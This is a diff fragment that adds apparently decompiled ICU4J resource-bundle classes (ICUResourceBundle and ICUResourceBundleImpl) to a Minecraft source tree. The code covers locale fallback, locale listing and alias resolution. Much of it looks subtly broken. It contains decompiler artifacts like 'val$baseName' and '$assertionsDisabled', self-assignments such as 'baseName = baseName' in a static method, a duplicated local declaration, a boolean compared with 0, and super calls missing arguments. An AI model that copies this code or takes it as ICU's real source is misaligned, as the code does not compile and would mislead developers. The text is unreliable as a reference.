+    return (String[])keywords.toArray(new String[0]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ICUResourceBundle getWithFallback(String path)
+    throws MissingResourceException
+  {
+    ICUResourceBundle result = null;
+    ICUResourceBundle actualBundle = this;
+    
+
+    result = findResourceWithFallback(path, actualBundle, null);
+    
+    if (result == null) {
+      throw new MissingResourceException("Can't find resource for bundle " + getClass().getName() + ", key " + getType(), path, getKey());
+    }
+    
+
+
+
+    if ((result.getType() == 0) && (result.getString().equals("∅∅∅"))) {
+      throw new MissingResourceException("Encountered NO_INHERITANCE_MARKER", path, getKey());
+    }
+    
+    return result;
+  }
+  
+  public ICUResourceBundle at(int index) {
+    return (ICUResourceBundle)handleGet(index, null, this);
+  }
+  
+  public ICUResourceBundle at(String key)
+  {
+    if ((this instanceof ICUResourceBundleImpl.ResourceTable)) {
+      return (ICUResourceBundle)handleGet(key, null, this);
+    }
+    return null;
+  }
+  
+  public ICUResourceBundle findTopLevel(int index)
+  {
+    return (ICUResourceBundle)super.findTopLevel(index);
+  }
+  
+  public ICUResourceBundle findTopLevel(String aKey)
+  {
+    return (ICUResourceBundle)super.findTopLevel(aKey);
+  }
+  
+
+
+
+
+
+  public ICUResourceBundle findWithFallback(String path)
+  {
+    return findResourceWithFallback(path, this, null);
+  }
+  
+  public String getStringWithFallback(String path) throws MissingResourceException
+  {
+    return getWithFallback(path).getString();
+  }
+  
+
+
+
+
+
+  public static Set<String> getAvailableLocaleNameSet(String bundlePrefix, ClassLoader loader)
+  {
+    return getAvailEntry(bundlePrefix, loader).getLocaleNameSet();
+  }
+  
+
+
+
+  public static Set<String> getFullLocaleNameSet()
+  {
+    return getFullLocaleNameSet("com/ibm/icu/impl/data/icudt51b", ICU_DATA_CLASS_LOADER);
+  }
+  
+
+
+
+
+
+  public static Set<String> getFullLocaleNameSet(String bundlePrefix, ClassLoader loader)
+  {
+    return getAvailEntry(bundlePrefix, loader).getFullLocaleNameSet();
+  }
+  
+
+
+
+  public static Set<String> getAvailableLocaleNameSet()
+  {
+    return getAvailableLocaleNameSet("com/ibm/icu/impl/data/icudt51b", ICU_DATA_CLASS_LOADER);
+  }
+  
+
+
+
+  public static final ULocale[] getAvailableULocales(String baseName, ClassLoader loader)
+  {
+    return getAvailEntry(baseName, loader).getULocaleList();
+  }
+  
+
+
+
+  public static final ULocale[] getAvailableULocales()
+  {
+    return getAvailableULocales("com/ibm/icu/impl/data/icudt51b", ICU_DATA_CLASS_LOADER);
+  }
+  
+
+
+
+  public static final Locale[] getAvailableLocales(String baseName, ClassLoader loader)
+  {
+    return getAvailEntry(baseName, loader).getLocaleList();
+  }
+  
+
+
+
+  public static final Locale[] getAvailableLocales()
+  {
+    return getAvailEntry("com/ibm/icu/impl/data/icudt51b", ICU_DATA_CLASS_LOADER).getLocaleList();
+  }
+  
+
+
+
+
+
+
+  public static final Locale[] getLocaleList(ULocale[] ulocales)
+  {
+    ArrayList<Locale> list = new ArrayList(ulocales.length);
+    HashSet<Locale> uniqueSet = new HashSet();
+    for (int i = 0; i < ulocales.length; i++) {
+      Locale loc = ulocales[i].toLocale();
+      if (!uniqueSet.contains(loc)) {
+        list.add(loc);
+        uniqueSet.add(loc);
+      }
+    }
+    return (Locale[])list.toArray(new Locale[list.size()]);
+  }
+  
+
+
+
+
+
+
+  public Locale getLocale()
+  {
+    return getULocale().toLocale();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final boolean DEBUG = ICUDebug.enabled("localedata");
+  
+
+
+
+
+
+  private static final ULocale[] createULocaleList(String baseName, ClassLoader root)
+  {
+    ICUResourceBundle bundle = (ICUResourceBundle)UResourceBundle.instantiateBundle(baseName, "res_index", root, true);
+    
+    bundle = (ICUResourceBundle)bundle.get("InstalledLocales");
+    int length = bundle.getSize();
+    int i = 0;
+    ULocale[] locales = new ULocale[length];
+    UResourceBundleIterator iter = bundle.getIterator();
+    iter.reset();
+    while (iter.hasNext()) {
+      String locstr = iter.next().getKey();
+      if (locstr.equals("root")) {
+        locales[(i++)] = ULocale.ROOT;
+      } else {
+        locales[(i++)] = new ULocale(locstr);
+      }
+    }
+    bundle = null;
+    return locales;
+  }
+  
+  private static final Locale[] createLocaleList(String baseName, ClassLoader loader) {
+    ULocale[] ulocales = getAvailEntry(baseName, loader).getULocaleList();
+    return getLocaleList(ulocales);
+  }
+  
+  private static final String[] createLocaleNameArray(String baseName, ClassLoader root)
+  {
+    ICUResourceBundle bundle = (ICUResourceBundle)UResourceBundle.instantiateBundle(baseName, "res_index", root, true);
+    bundle = (ICUResourceBundle)bundle.get("InstalledLocales");
+    int length = bundle.getSize();
+    int i = 0;
+    String[] locales = new String[length];
+    UResourceBundleIterator iter = bundle.getIterator();
+    iter.reset();
+    while (iter.hasNext()) {
+      String locstr = iter.next().getKey();
+      if (locstr.equals("root")) {
+        locales[(i++)] = ULocale.ROOT.toString();
+      } else {
+        locales[(i++)] = locstr;
+      }
+    }
+    bundle = null;
+    return locales;
+  }
+  
+
+  private static final List<String> createFullLocaleNameArray(String baseName, final ClassLoader root)
+  {
+    List<String> list = (List)AccessController.doPrivileged(new PrivilegedAction()
+    {
+
+      public List<String> run()
+      {
+        String bn = val$baseName + "/";
+        
+
+
+        List<String> resList = null;
+        
+        String skipScan = ICUConfig.get("com.ibm.icu.impl.ICUResourceBundle.skipRuntimeLocaleResourceScan", "false");
+        if (!skipScan.equalsIgnoreCase("true")) {
+          try
+          {
+            Enumeration<URL> urls = root.getResources(bn);
+            while (urls.hasMoreElements()) {
+              URL url = (URL)urls.nextElement();
+              URLHandler handler = URLHandler.get(url);
+              if (handler != null) {
+                final List<String> lst = new ArrayList();
+                URLHandler.URLVisitor v = new URLHandler.URLVisitor()
+                {
+                  public void visit(String s)
+                  {
+                    if (s.endsWith(".res")) {
+                      String locstr = s.substring(0, s.length() - 4);
+                      if ((locstr.contains("_")) && (!locstr.equals("res_index")))
+                      {
+
+                        lst.add(locstr);
+                      } else if ((locstr.length() == 2) || (locstr.length() == 3))
+                      {
+
+                        lst.add(locstr);
+                      } else if (locstr.equalsIgnoreCase("root"))
+                      {
+                        lst.add(ULocale.ROOT.toString());
+                      }
+                    }
+                  }
+                };
+                handler.guide(v, false);
+                
+                if (resList == null) {
+                  resList = new ArrayList(lst);
+                } else {
+                  resList.addAll(lst);
+                }
+              }
+              else if (ICUResourceBundle.DEBUG) { System.out.println("handler for " + url + " is null");
+              }
+            }
+          } catch (IOException e) {
+            if (ICUResourceBundle.DEBUG) System.out.println("ouch: " + e.getMessage());
+            resList = null;
+          }
+        }
+        
+        if (resList == null) {
+          try
+          {
+            InputStream s = root.getResourceAsStream(bn + "fullLocaleNames.lst");
+            if (s != null) {
+              resList = new ArrayList();
+              BufferedReader br = new BufferedReader(new InputStreamReader(s, "ASCII"));
+              String line;
+              while ((line = br.readLine()) != null) {
+                if ((line.length() != 0) && (!line.startsWith("#"))) {
+                  if (line.equalsIgnoreCase("root")) {
+                    resList.add(ULocale.ROOT.toString());
+                  } else {
+                    resList.add(line);
+                  }
+                }
+              }
+              br.close();
+            }
+          }
+          catch (IOException e) {}
+        }
+        
+
+        return resList;
+      }
+      
+    });
+    return list;
+  }
+  
+  private static Set<String> createFullLocaleNameSet(String baseName, ClassLoader loader) {
+    List<String> list = createFullLocaleNameArray(baseName, loader);
+    if (list == null) {
+      if (DEBUG) { System.out.println("createFullLocaleNameArray returned null");
+      }
+      Set<String> locNameSet = createLocaleNameSet(baseName, loader);
+      String rootLocaleID = ULocale.ROOT.toString();
+      if (!locNameSet.contains(rootLocaleID))
+      {
+        Set<String> tmp = new HashSet(locNameSet);
+        tmp.add(rootLocaleID);
+        locNameSet = Collections.unmodifiableSet(tmp);
+      }
+      return locNameSet;
+    }
+    Set<String> fullLocNameSet = new HashSet();
+    fullLocNameSet.addAll(list);
+    return Collections.unmodifiableSet(fullLocNameSet);
+  }
+  
+  private static Set<String> createLocaleNameSet(String baseName, ClassLoader loader) {
+    try {
+      String[] locales = createLocaleNameArray(baseName, loader);
+      
+      HashSet<String> set = new HashSet();
+      set.addAll(Arrays.asList(locales));
+      return Collections.unmodifiableSet(set);
+    } catch (MissingResourceException e) {
+      if (DEBUG) {
+        System.out.println("couldn't find index for bundleName: " + baseName);
+        Thread.dumpStack();
+      }
+    }
+    return Collections.emptySet();
+  }
+  
+
+  private static final class AvailEntry
+  {
+    private String prefix;
+    
+    private ClassLoader loader;
+    private volatile ULocale[] ulocales;
+    private volatile Locale[] locales;
+    private volatile Set<String> nameSet;
+    private volatile Set<String> fullNameSet;
+    
+    AvailEntry(String prefix, ClassLoader loader)
+    {
+      this.prefix = prefix;
+      this.loader = loader;
+    }
+    
+    ULocale[] getULocaleList() {
+      if (ulocales == null) {
+        synchronized (this) {
+          if (ulocales == null) {
+            ulocales = ICUResourceBundle.createULocaleList(prefix, loader);
+          }
+        }
+      }
+      return ulocales;
+    }
+    
+    Locale[] getLocaleList() { if (locales == null) {
+        synchronized (this) {
+          if (locales == null) {
+            locales = ICUResourceBundle.createLocaleList(prefix, loader);
+          }
+        }
+      }
+      return locales;
+    }
+    
+    Set<String> getLocaleNameSet() { if (nameSet == null) {
+        synchronized (this) {
+          if (nameSet == null) {
+            nameSet = ICUResourceBundle.createLocaleNameSet(prefix, loader);
+          }
+        }
+      }
+      return nameSet;
+    }
+    
+
+
+
+
+
+
+
+
+    Set<String> getFullLocaleNameSet()
+    {
+      if (fullNameSet == null) {
+        synchronized (this) {
+          if (fullNameSet == null) {
+            fullNameSet = ICUResourceBundle.createFullLocaleNameSet(prefix, loader);
+          }
+        }
+      }
+      return fullNameSet;
+    }
+  }
+  
+
+
+
+
+  private static CacheBase<String, AvailEntry, ClassLoader> GET_AVAILABLE_CACHE = new SoftCache()
+  {
+    protected ICUResourceBundle.AvailEntry createInstance(String key, ClassLoader loader) {
+      return new ICUResourceBundle.AvailEntry(key, loader);
+    }
+  };
+  protected String localeID;
+  protected String baseName;
+  protected ULocale ulocale;
+  protected ClassLoader loader;
+  protected ICUResourceBundleReader reader;
+  protected String key;
+  
+  private static AvailEntry getAvailEntry(String key, ClassLoader loader) { return (AvailEntry)GET_AVAILABLE_CACHE.getInstance(key, loader); }
+  
+
+  protected static final ICUResourceBundle findResourceWithFallback(String path, UResourceBundle actualBundle, UResourceBundle requested)
+  {
+    ICUResourceBundle sub = null;
+    if (requested == null) {
+      requested = actualBundle;
+    }
+    
+    ICUResourceBundle base = (ICUResourceBundle)actualBundle;
+    String basePath = resPath.length() > 0 ? resPath : "";
+    
+
+    while (base != null) {
+      if (path.indexOf('/') == -1) {
+        sub = (ICUResourceBundle)base.handleGet(path, null, requested);
+        if (sub != null) {
+          break;
+        }
+      } else {
+        ICUResourceBundle currentBase = base;
+        StringTokenizer st = new StringTokenizer(path, "/");
+        while (st.hasMoreTokens()) {
+          String subKey = st.nextToken();
+          sub = findResourceWithFallback(subKey, currentBase, requested);
+          if (sub == null) {
+            break;
+          }
+          currentBase = sub;
+        }
+        if (sub != null) {
+          break;
+        }
+      }
+      
+
+      base = (ICUResourceBundle)base.getParent();
+      path = basePath.length() > 0 ? basePath + "/" + path : path;
+      basePath = "";
+    }
+    if (sub != null) {
+      sub.setLoadingStatus(((ICUResourceBundle)requested).getLocaleID());
+    }
+    return sub;
+  }
+  
+  public boolean equals(Object other) {
+    if (this == other) {
+      return true;
+    }
+    if ((other instanceof ICUResourceBundle)) {
+      ICUResourceBundle o = (ICUResourceBundle)other;
+      if ((getBaseName().equals(o.getBaseName())) && (getLocaleID().equals(o.getLocaleID())))
+      {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+  public static UResourceBundle getBundleInstance(String baseName, String localeID, ClassLoader root, boolean disableFallback)
+  {
+    UResourceBundle b = instantiateBundle(baseName, localeID, root, disableFallback);
+    if (b == null) {
+      throw new MissingResourceException("Could not find the bundle " + baseName + "/" + localeID + ".res", "", "");
+    }
+    return b;
+  }
+  
+  protected static synchronized UResourceBundle instantiateBundle(String baseName, String localeID, ClassLoader root, boolean disableFallback)
+  {
+    ULocale defaultLocale = ULocale.getDefault();
+    String localeName = localeID;
+    if (localeName.indexOf('@') >= 0) {
+      localeName = ULocale.getBaseName(localeID);
+    }
+    String fullName = ICUResourceBundleReader.getFullName(baseName, localeName);
+    ICUResourceBundle b = (ICUResourceBundle)loadFromCache(root, fullName, defaultLocale);
+    
+
+
+
+
+
+
+
+    String rootLocale = baseName.indexOf('.') == -1 ? "root" : "";
+    String defaultID = defaultLocale.getBaseName();
+    
+    if (localeName.equals("")) {
+      localeName = rootLocale;
+    }
+    if (DEBUG) System.out.println("Creating " + fullName + " currently b is " + b);
+    if (b == null) {
+      b = createBundle(baseName, localeName, root);
+      
+      if (DEBUG) System.out.println("The bundle created is: " + b + " and disableFallback=" + disableFallback + " and bundle.getNoFallback=" + ((b != null) && (b.getNoFallback())));
+      if ((disableFallback) || ((b != null) && (b.getNoFallback())))
+      {
+        return addToCache(root, fullName, defaultLocale, b);
+      }
+      
+
+      if (b == null) {
+        int i = localeName.lastIndexOf('_');
+        if (i != -1) {
+          String temp = localeName.substring(0, i);
+          b = (ICUResourceBundle)instantiateBundle(baseName, temp, root, disableFallback);
+          if ((b != null) && (b.getULocale().getName().equals(temp))) {
+            b.setLoadingStatus(1);
+          }
+        }
+        else if (defaultID.indexOf(localeName) == -1) {
+          b = (ICUResourceBundle)instantiateBundle(baseName, defaultID, root, disableFallback);
+          if (b != null) {
+            b.setLoadingStatus(3);
+          }
+        } else if (rootLocale.length() != 0) {
+          b = createBundle(baseName, rootLocale, root);
+          if (b != null) {
+            b.setLoadingStatus(2);
+          }
+        }
+      }
+      else {
+        UResourceBundle parent = null;
+        localeName = b.getLocaleID();
+        int i = localeName.lastIndexOf('_');
+        
+        b = (ICUResourceBundle)addToCache(root, fullName, defaultLocale, b);
+        
+        if (b.getTableResource("%%Parent") != -1) {
+          String parentLocaleName = b.getString("%%Parent");
+          parent = instantiateBundle(baseName, parentLocaleName, root, disableFallback);
+        } else if (i != -1) {
+          parent = instantiateBundle(baseName, localeName.substring(0, i), root, disableFallback);
+        } else if (!localeName.equals(rootLocale)) {
+          parent = instantiateBundle(baseName, rootLocale, root, true);
+        }
+        
+        if (!b.equals(parent)) {
+          b.setParent(parent);
+        }
+      }
+    }
+    return b;
+  }
+  
+  UResourceBundle get(String aKey, HashMap<String, String> table, UResourceBundle requested) { ICUResourceBundle obj = (ICUResourceBundle)handleGet(aKey, table, requested);
+    if (obj == null) {
+      obj = (ICUResourceBundle)getParent();
+      if (obj != null)
+      {
+        obj = (ICUResourceBundle)obj.get(aKey, table, requested);
+      }
+      if (obj == null) {
+        String fullName = ICUResourceBundleReader.getFullName(getBaseName(), getLocaleID());
+        throw new MissingResourceException("Can't find resource for bundle " + fullName + ", key " + aKey, getClass().getName(), aKey);
+      }
+    }
+    
+
+    obj.setLoadingStatus(((ICUResourceBundle)requested).getLocaleID());
+    return obj;
+  }
+  
+
+
+
+
+
+
+
+  protected int resource;
+  
+
+
+
+
+
+
+  public static final int RES_BOGUS = -1;
+  
+
+
+
+
+
+  public static final int ALIAS = 3;
+  
+
+
+
+
+
+  public static final int TABLE32 = 4;
+  
+
+
+
+
+
+  public static final int TABLE16 = 5;
+  
+
+
+
+
+
+  public static final int STRING_V2 = 6;
+  
+
+
+
+
+
+  public static final int ARRAY16 = 9;
+  
+
+
+
+
+
+  public static ICUResourceBundle createBundle(String baseName, String localeID, ClassLoader root)
+  {
+    ICUResourceBundleReader reader = ICUResourceBundleReader.getReader(baseName, localeID, root);
+    if (reader == null)
+    {
+      return null;
+    }
+    return getBundle(reader, baseName, localeID, root);
+  }
+  
+  protected String getLocaleID() {
+    return localeID;
+  }
+  
+  protected String getBaseName() {
+    return baseName;
+  }
+  
+  public ULocale getULocale() {
+    return ulocale;
+  }
+  
+  public UResourceBundle getParent() {
+    return (UResourceBundle)parent;
+  }
+  
+  protected void setParent(ResourceBundle parent) {
+    this.parent = parent;
+  }
+  
+  public String getKey() {
+    return key;
+  }
+  
+  private static final int[] gPublicTypes = { 0, 1, 2, 3, 2, 2, 0, 7, 8, 8, -1, -1, -1, -1, 14, -1 };
+  
+
+  private static final char RES_PATH_SEP_CHAR = '/';
+  
+
+  private static final String RES_PATH_SEP_STR = "/";
+  
+
+  private static final String ICUDATA = "ICUDATA";
+  
+
+  private static final char HYPHEN = '-';
+  
+  private static final String LOCALE = "LOCALE";
+  
+  protected ICUCache<Object, UResourceBundle> lookup;
+  
+  private static final int MAX_INITIAL_LOOKUP_SIZE = 64;
+  
+
+  public int getType()
+  {
+    return gPublicTypes[ICUResourceBundleReader.RES_GET_TYPE(resource)];
+  }
+  
+
+
+
+  private boolean getNoFallback()
+  {
+    return reader.getNoFallback();
+  }
+  
+
+
+  private static ICUResourceBundle getBundle(ICUResourceBundleReader reader, String baseName, String localeID, ClassLoader loader)
+  {
+    int rootRes = reader.getRootResource();
+    ICUResourceBundleImpl bundle; if (gPublicTypes[ICUResourceBundleReader.RES_GET_TYPE(rootRes)] == 2) {
+      bundle = new ICUResourceBundleImpl.ResourceTable(reader, null, "", rootRes, null);
+    } else
+      throw new IllegalStateException("Invalid format error");
+    ICUResourceBundleImpl bundle;
+    baseName = baseName;
+    localeID = localeID;
+    ulocale = new ULocale(localeID);
+    loader = loader;
+    UResourceBundle alias = bundle.handleGetImpl("%%ALIAS", null, bundle, null, null);
+    if (alias != null) {
+      return (ICUResourceBundle)UResourceBundle.getBundleInstance(baseName, alias.getString());
+    }
+    return bundle;
+  }
+  
+
+  protected ICUResourceBundle(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundle container)
+  {
+    this.reader = reader;
+    this.key = key;
+    this.resPath = resPath;
+    this.resource = resource;
+    if (container != null) {
+      baseName = baseName;
+      localeID = localeID;
+      ulocale = ulocale;
+      loader = loader;
+      parent = parent;
+    }
+  }
+  
+  private String getAliasValue(int res) {
+    String result = reader.getAlias(res);
+    return result != null ? result : "";
+  }
+  
+
+
+
+
+
+
+
+
+  protected ICUResourceBundle findResource(String key, String resPath, int _resource, HashMap<String, String> table, UResourceBundle requested)
+  {
+    ClassLoader loaderToUse = loader;
+    String locale = null;String keyPath = null;
+    
+    String rpath = getAliasValue(_resource);
+    if (table == null) {
+      table = new HashMap();
+    }
+    if (table.get(rpath) != null) {
+      throw new IllegalArgumentException("Circular references in the resource bundles");
+    }
+    
+    table.put(rpath, "");
+    String bundleName; if (rpath.indexOf('/') == 0) {
+      int i = rpath.indexOf('/', 1);
+      int j = rpath.indexOf('/', i + 1);
+      String bundleName = rpath.substring(1, i);
+      if (j < 0) {
+        locale = rpath.substring(i + 1);
+        
+
+        keyPath = resPath;
+      } else {
+        locale = rpath.substring(i + 1, j);
+        keyPath = rpath.substring(j + 1, rpath.length());
+      }
+      
+      if (bundleName.equals("ICUDATA")) {
+        bundleName = "com/ibm/icu/impl/data/icudt51b";
+        loaderToUse = ICU_DATA_CLASS_LOADER;
+      } else if (bundleName.indexOf("ICUDATA") > -1) {
+        int idx = bundleName.indexOf('-');
+        if (idx > -1) {
+          bundleName = "com/ibm/icu/impl/data/icudt51b/" + bundleName.substring(idx + 1, bundleName.length());
+          loaderToUse = ICU_DATA_CLASS_LOADER;
+        }
+      }
+    }
+    else {
+      int i = rpath.indexOf('/');
+      if (i != -1) {
+        locale = rpath.substring(0, i);
+        keyPath = rpath.substring(i + 1);
+      } else {
+        locale = rpath;
+        
+
+        keyPath = resPath;
+      }
+      bundleName = baseName;
+    }
+    ICUResourceBundle bundle = null;
+    ICUResourceBundle sub = null;
+    if (bundleName.equals("LOCALE")) {
+      bundleName = baseName;
+      keyPath = rpath.substring("LOCALE".length() + 2, rpath.length());
+      locale = ((ICUResourceBundle)requested).getLocaleID();
+      
+
+      bundle = (ICUResourceBundle)getBundleInstance(bundleName, locale, loaderToUse, false);
+      if (bundle != null) {
+        sub = findResourceWithFallback(keyPath, bundle, null);
+
+
+      }
+      
+
+
+
+    }
+    else
+    {
+
+
+      if (locale == null)
+      {
+        bundle = (ICUResourceBundle)getBundleInstance(bundleName, "", loaderToUse, false);
+      }
+      else {
+        bundle = (ICUResourceBundle)getBundleInstance(bundleName, locale, loaderToUse, false);
+      }
+      
+
+      StringTokenizer st = new StringTokenizer(keyPath, "/");
+      ICUResourceBundle current = bundle;
+      while (st.hasMoreTokens()) {
+        String subKey = st.nextToken();
+        sub = (ICUResourceBundle)current.get(subKey, table, requested);
+        if (sub == null) {
+          break;
+        }
+        current = sub;
+      }
+    }
+    
+
+
+
+
+    if (sub == null) {
+      throw new MissingResourceException(localeID, baseName, key);
+    }
+    return sub;
+  }
+  
+
+
+
+
+  protected void createLookupCache()
+  {
+    lookup = new SimpleCache(1, Math.max(getSize() * 2, 64));
+  }
+  
+  protected UResourceBundle handleGet(String resKey, HashMap<String, String> table, UResourceBundle requested) {
+    UResourceBundle res = null;
+    if (lookup != null) {
+      res = (UResourceBundle)lookup.get(resKey);
+    }
+    if (res == null) {
+      int[] index = new int[1];
+      boolean[] alias = new boolean[1];
+      res = handleGetImpl(resKey, table, requested, index, alias);
+      if ((res != null) && (lookup != null) && (alias[0] == 0))
+      {
+        lookup.put(resKey, res);
+        lookup.put(Integer.valueOf(index[0]), res);
+      }
+    }
+    return res;
+  }
+  
+  protected UResourceBundle handleGet(int index, HashMap<String, String> table, UResourceBundle requested) {
+    UResourceBundle res = null;
+    Integer indexKey = null;
+    if (lookup != null) {
+      indexKey = Integer.valueOf(index);
+      res = (UResourceBundle)lookup.get(indexKey);
+    }
+    if (res == null) {
+      boolean[] alias = new boolean[1];
+      res = handleGetImpl(index, table, requested, alias);
+      if ((res != null) && (lookup != null) && (alias[0] == 0))
+      {
+        lookup.put(res.getKey(), res);
+        lookup.put(indexKey, res);
+      }
+    }
+    return res;
+  }
+  
+
+  protected UResourceBundle handleGetImpl(String resKey, HashMap<String, String> table, UResourceBundle requested, int[] index, boolean[] isAlias)
+  {
+    return null;
+  }
+  
+
+  protected UResourceBundle handleGetImpl(int index, HashMap<String, String> table, UResourceBundle requested, boolean[] isAlias)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected int getTableResource(String resKey)
+  {
+    return -1;
+  }
+  
+  protected int getTableResource(int index) { return -1; }
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean isAlias(int index)
+  {
+    return ICUResourceBundleReader.RES_GET_TYPE(getTableResource(index)) == 3;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean isAlias()
+  {
+    return ICUResourceBundleReader.RES_GET_TYPE(resource) == 3;
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public boolean isAlias(String k)
+  {
+    return ICUResourceBundleReader.RES_GET_TYPE(getTableResource(k)) == 3;
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getAliasPath(int index)
+  {
+    return getAliasValue(getTableResource(index));
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getAliasPath()
+  {
+    return getAliasValue(resource);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String getAliasPath(String k)
+  {
+    return getAliasValue(getTableResource(k));
+  }
+  
+
+
+  protected String getKey(int index)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public Enumeration<String> getKeysSafe()
+  {
+    if (!ICUResourceBundleReader.URES_IS_TABLE(resource))
+    {
+      return getKeys();
+    }
+    List<String> v = new ArrayList();
+    int size = getSize();
+    for (int index = 0; index < size; index++)
+    {
+      String curKey = getKey(index);
+      v.add(curKey);
+    }
+    
+
+
+
+    return Collections.enumeration(v);
+  }
+  
+
+
+
+
+
+  protected Enumeration<String> handleGetKeys()
+  {
+    return Collections.enumeration(handleKeySet());
+  }
+  
+  protected boolean isTopLevelResource() {
+    return resPath.length() == 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUResourceBundleImpl.java b/src/minecraft/com/ibm/icu/impl/ICUResourceBundleImpl.java
new file mode 100644
index 0000000..938d0ce
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUResourceBundleImpl.java
@@ -0,0 +1,213 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import com.ibm.icu.util.UResourceTypeMismatchException;
+import java.nio.ByteBuffer;
+import java.util.HashMap;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+class ICUResourceBundleImpl
+  extends ICUResourceBundle
+{
+  protected ICUResourceBundleImpl(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container)
+  {
+    super(reader, key, resPath, resource, container);
+  }
+  
+
+
+  protected final ICUResourceBundle createBundleObject(String _key, int _resource, HashMap<String, String> table, UResourceBundle requested, boolean[] isAlias)
+  {
+    if (isAlias != null) {
+      isAlias[0] = false;
+    }
+    String _resPath = resPath + "/" + _key;
+    switch (ICUResourceBundleReader.RES_GET_TYPE(_resource)) {
+    case 0: 
+    case 6: 
+      return new ResourceString(reader, _key, _resPath, _resource, this);
+    case 1: 
+      return new ResourceBinary(reader, _key, _resPath, _resource, this);
+    case 3: 
+      if (isAlias != null) {
+        isAlias[0] = true;
+      }
+      return findResource(_key, _resPath, _resource, table, requested);
+    case 7: 
+      return new ResourceInt(reader, _key, _resPath, _resource, this);
+    case 14: 
+      return new ResourceIntVector(reader, _key, _resPath, _resource, this);
+    case 8: 
+    case 9: 
+      return new ResourceArray(reader, _key, _resPath, _resource, this);
+    case 2: 
+    case 4: 
+    case 5: 
+      return new ResourceTable(reader, _key, _resPath, _resource, this);
+    }
+    throw new IllegalStateException("The resource type is unknown");
+  }
+  
+  private static final class ResourceBinary
+    extends ICUResourceBundleImpl
+  {
+    public ByteBuffer getBinary()
+    {
+      return reader.getBinary(resource);
+    }
+    
+    public byte[] getBinary(byte[] ba) { return reader.getBinary(resource, ba); }
+    
+    ResourceBinary(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container)
+    {
+      super(key, resPath, resource, container);
+    }
+  }
+  
+  private static final class ResourceInt extends ICUResourceBundleImpl {
+    public int getInt() { return ICUResourceBundleReader.RES_GET_INT(resource); }
+    
+    public int getUInt() {
+      return ICUResourceBundleReader.RES_GET_UINT(resource);
+    }
+    
+
+    ResourceInt(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container) { super(key, resPath, resource, container); }
+  }
+  
+  private static final class ResourceString extends ICUResourceBundleImpl {
+    private String value;
+    
+    public String getString() { return value; }
+    
+    ResourceString(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container)
+    {
+      super(key, resPath, resource, container);
+      value = reader.getString(resource);
+    }
+  }
+  
+  private static final class ResourceIntVector extends ICUResourceBundleImpl { private int[] value;
+    
+    public int[] getIntVector() { return value; }
+    
+    ResourceIntVector(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container)
+    {
+      super(key, resPath, resource, container);
+      value = reader.getIntVector(resource);
+    }
+  }
+  
+  private static class ResourceContainer extends ICUResourceBundleImpl
+  {
+    protected ICUResourceBundleReader.Container value;
+    
+    public int getSize()
+    {
+      return value.getSize();
+    }
+    
+    protected int getContainerResource(int index) { return value.getContainerResource(index); }
+    
+    protected UResourceBundle createBundleObject(int index, String resKey, HashMap<String, String> table, UResourceBundle requested, boolean[] isAlias)
+    {
+      int item = getContainerResource(index);
+      if (item == -1) {
+        throw new IndexOutOfBoundsException();
+      }
+      return createBundleObject(resKey, item, table, requested, isAlias);
+    }
+    
+
+    ResourceContainer(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container) { super(key, resPath, resource, container); }
+  }
+  
+  private static class ResourceArray extends ICUResourceBundleImpl.ResourceContainer {
+    protected String[] handleGetStringArray() {
+      String[] strings = new String[value.getSize()];
+      UResourceBundleIterator iter = getIterator();
+      int i = 0;
+      while (iter.hasNext()) {
+        strings[(i++)] = iter.next().getString();
+      }
+      return strings;
+    }
+    
+    public String[] getStringArray() { return handleGetStringArray(); }
+    
+
+    protected UResourceBundle handleGetImpl(String indexStr, HashMap<String, String> table, UResourceBundle requested, int[] index, boolean[] isAlias)
+    {
+      int i = indexStr.length() > 0 ? Integer.valueOf(indexStr).intValue() : -1;
+      if (index != null) {
+        index[0] = i;
+      }
+      if (i < 0) {
+        throw new UResourceTypeMismatchException("Could not get the correct value for index: " + indexStr);
+      }
+      return createBundleObject(i, indexStr, table, requested, isAlias);
+    }
+    
+    protected UResourceBundle handleGetImpl(int index, HashMap<String, String> table, UResourceBundle requested, boolean[] isAlias) {
+      return createBundleObject(index, Integer.toString(index), table, requested, isAlias);
+    }
+    
+    ResourceArray(ICUResourceBundleReader reader, String key, String resPath, int resource, ICUResourceBundleImpl container) {
+      super(key, resPath, resource, container);
+      value = reader.getArray(resource);
+      createLookupCache();
+    }
+  }
+  
+  static class ResourceTable extends ICUResourceBundleImpl.ResourceContainer {
+    protected String getKey(int index) { return ((ICUResourceBundleReader.Table)value).getKey(index); }
+    
+    protected Set<String> handleKeySet() {
+      TreeSet<String> keySet = new TreeSet();
+      ICUResourceBundleReader.Table table = (ICUResourceBundleReader.Table)value;
+      for (int i = 0; i < table.getSize(); i++) {
+        keySet.add(table.getKey(i));
+      }
+      return keySet;
+    }
+    
